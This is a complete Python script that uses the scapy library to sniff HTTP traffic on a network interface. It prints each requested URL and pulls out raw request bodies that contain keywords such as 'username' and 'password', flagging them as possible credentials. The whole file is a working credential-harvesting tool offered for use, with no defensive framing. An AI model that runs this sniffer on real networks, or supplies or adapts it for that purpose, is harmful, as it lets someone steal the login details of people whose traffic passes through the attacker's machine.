#!/usr/bin/env python

from scapy.all import *

from scapy.layers.http import *

def sniff(interface):

    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def get_url(packet):

    return packet[HTTPRequest].Host.decode(errors='ignore') + packet[HTTPRequest].Path.decode(errors='ignore')

def get_login_info(packet):

    if packet.haslayer(scapy.all.Raw):

        load = packet[scapy.all.Raw].load.decode(errors='ignore')

        keywords = ["username", "user", "login", "password", "pass"]

        for keyword in keywords:

            if keyword in load:

                return load

def process_sniffed_packet(packet):

    if packet.haslayer(HTTPRequest):

        url = get_url(packet)

        print("[+] HTTP Request >> " + url)

        login_info = get_login_info(packet)

        if login_info:

            print("\n\n[+] Possible username/password > " + login_info + "\n\n")

sniff("eth0")